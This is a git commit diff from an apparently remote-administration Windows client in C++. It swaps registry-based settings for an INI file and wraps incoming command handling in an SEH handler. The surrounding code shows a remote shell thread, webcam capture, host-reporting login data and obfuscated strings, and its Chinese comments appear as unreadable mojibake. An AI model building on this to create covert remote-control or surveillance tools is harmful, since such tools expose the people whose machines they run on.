Improve: Remove redundant code for reading the registry

This commit is contained in:
yuanyuanxiang
2025-06-29 15:23:09 +08:00
parent aa34b64995
commit 4ca2b45242
6 changed files with 29 additions and 88 deletions

View File

@@ -18,10 +18,15 @@
#pragma comment(lib,"Strmiids.lib") #pragma comment(lib,"Strmiids.lib")
// TODO ȫ<>ֱ<EFBFBD><D6B1><EFBFBD>, <20><><EFBFBD><EFBFBD>λ<EFBFBD>ã<EFBFBD>qedit.h
// <20>ӿ<EFBFBD> ID <09>ص<EFBFBD><D8B5>ӿڣ<D3BF><DAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿһ֡ץȡʱ֪ͨӦ<D6AA><D3A6>
EXTERN_C const IID IID_ISampleGrabberCB; EXTERN_C const IID IID_ISampleGrabberCB;
// <20><> ID <09><><EFBFBD><EFBFBD> Sample Grabber COM <20><><EFBFBD><EFBFBD>
EXTERN_C const CLSID CLSID_SampleGrabber; EXTERN_C const CLSID CLSID_SampleGrabber;
// <09>ӿ<EFBFBD> ID <09><><EFBFBD><EFBFBD> Sample Grabber <20>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD><EFBFBD>ص<EFBFBD><D8B5>Ȳ<EFBFBD><C8B2><EFBFBD><EFBFBD>ӿ<EFBFBD>
EXTERN_C const IID IID_ISampleGrabber; EXTERN_C const IID IID_ISampleGrabber;
struct ISampleGrabberCB : public IUnknown struct ISampleGrabberCB : public IUnknown
@@ -35,7 +40,6 @@ public:
double SampleTime, double SampleTime,
BYTE* pBuffer, BYTE* pBuffer,
long BufferLen) = 0; long BufferLen) = 0;
}; };
struct ISampleGrabber : public IUnknown struct ISampleGrabber : public IUnknown

View File

@@ -265,6 +265,8 @@ int main(int argc, const char *argv[])
status = E_STOP; status = E_STOP;
CloseHandle(hMutex); CloseHandle(hMutex);
Logger::getInstance().stop();
return 0; return 0;
} }
#else #else

View File

@@ -16,80 +16,6 @@
#include "KernelManager.h" #include "KernelManager.h"
#include <iniFile.h> #include <iniFile.h>
#define REG_SETTINGS "Software\\ServerD11\\Settings"
// д<><D0B4><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
bool WriteAppSettingA(const std::string& keyName, const std::string& value) {
HKEY hKey;
LONG result = RegCreateKeyExA(
HKEY_CURRENT_USER,
REG_SETTINGS,
0,
NULL,
0,
KEY_WRITE,
NULL,
&hKey,
NULL
);
if (result != ERROR_SUCCESS) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", result);
return false;
}
result = RegSetValueExA(
hKey,
keyName.c_str(),
0,
REG_SZ,
reinterpret_cast<const BYTE*>(value.c_str()),
static_cast<DWORD>(value.length() + 1)
);
RegCloseKey(hKey);
return result == ERROR_SUCCESS;
}
// <20><>ȡ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
bool ReadAppSettingA(const std::string& keyName, std::string& outValue) {
HKEY hKey;
LONG result = RegOpenKeyExA(
HKEY_CURRENT_USER,
REG_SETTINGS,
0,
KEY_READ,
&hKey
);
if (result != ERROR_SUCCESS) {
return false;
}
char buffer[256];
DWORD bufferSize = sizeof(buffer);
DWORD type = 0;
result = RegQueryValueExA(
hKey,
keyName.c_str(),
nullptr,
&type,
reinterpret_cast<LPBYTE>(buffer),
&bufferSize
);
RegCloseKey(hKey);
if (result == ERROR_SUCCESS && type == REG_SZ) {
outValue = buffer;
return true;
}
return false;
}
DWORD WINAPI ThreadProc(LPVOID lParam) DWORD WINAPI ThreadProc(LPVOID lParam)
{ {

View File

@@ -18,11 +18,6 @@ typedef struct UserParam
~UserParam() { SAFE_DELETE_ARRAY(buffer); } ~UserParam() { SAFE_DELETE_ARRAY(buffer); }
}UserParam; }UserParam;
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool WriteAppSettingA(const std::string& keyName, const std::string& value);
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
bool ReadAppSettingA(const std::string& keyName, std::string& outValue);
DWORD WINAPI ThreadProc(LPVOID lParam); DWORD WINAPI ThreadProc(LPVOID lParam);
DWORD WINAPI LoopShellManager(LPVOID lParam); DWORD WINAPI LoopShellManager(LPVOID lParam);

View File

@@ -344,6 +344,19 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
return 0xDEAD; return 0xDEAD;
} }
// <20><><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD>߼<EFBFBD>:
// <20><><EFBFBD><EFBFBD> f ִ<><D6B4>ʱ û<>д<EFBFBD><D0B4><EFBFBD>ϵͳ<CFB5><EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʳ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
// <20><><EFBFBD><EFBFBD> f ִ<>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD> <20>׳<EFBFBD><D7B3><EFBFBD><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> __except <20><><EFBFBD>񣬷<EFBFBD><F1A3ACB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EBA3A8> 0xC0000005 <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Υ<EFBFBD>
int DataProcessWithSEH(DataProcessCB f, void* manager, LPBYTE data, ULONG len) {
__try {
if (f) f(manager, data, len);
return 0;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
return GetExceptionCode();
}
}
VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
{ {
@@ -394,8 +407,10 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
{ {
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬ //<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB> //<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
if (m_DataProcess) int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
m_DataProcess(m_Manager, (PBYTE)DeCompressedBuffer, ulOriginalLength); if (ret) {
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
}
} }
else{ else{
Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength); Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);

View File

@@ -254,11 +254,11 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
GetModuleFileNameA(NULL, buf, sizeof(buf)); GetModuleFileNameA(NULL, buf, sizeof(buf));
LoginInfor.AddReserved(buf); // <20>ļ<EFBFBD>·<EFBFBD><C2B7> LoginInfor.AddReserved(buf); // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
LoginInfor.AddReserved("?"); // test LoginInfor.AddReserved("?"); // test
std::string installTime; iniFile cfg(CLIENT_PATH);
auto b = ReadAppSettingA("install_time", installTime); std::string installTime = cfg.GetStr("settings", "install_time");
if (!b || installTime.empty()) { if (installTime.empty()) {
installTime = ToPekingTimeAsString(nullptr);; installTime = ToPekingTimeAsString(nullptr);
WriteAppSettingA("install_time", installTime); cfg.SetStr("settings", "install_time", installTime);
} }
LoginInfor.AddReserved(installTime.c_str()); // <20><>װʱ<D7B0><CAB1> LoginInfor.AddReserved(installTime.c_str()); // <20><>װʱ<D7B0><CAB1>
LoginInfor.AddReserved("?"); // <20><>װ<EFBFBD><D7B0>Ϣ LoginInfor.AddReserved("?"); // <20><>װ<EFBFBD><D7B0>Ϣ
@@ -285,7 +285,6 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0; strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
const char* id = isDefault ? masterHash.c_str() : conn.szFlag; const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16)); memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
iniFile cfg(CLIENT_PATH);
std::string loc = cfg.GetStr("settings", "location", ""); std::string loc = cfg.GetStr("settings", "location", "");
std::string pubIP = cfg.GetStr("settings", "public_ip", ""); std::string pubIP = cfg.GetStr("settings", "public_ip", "");
IPConverter cvt; IPConverter cvt;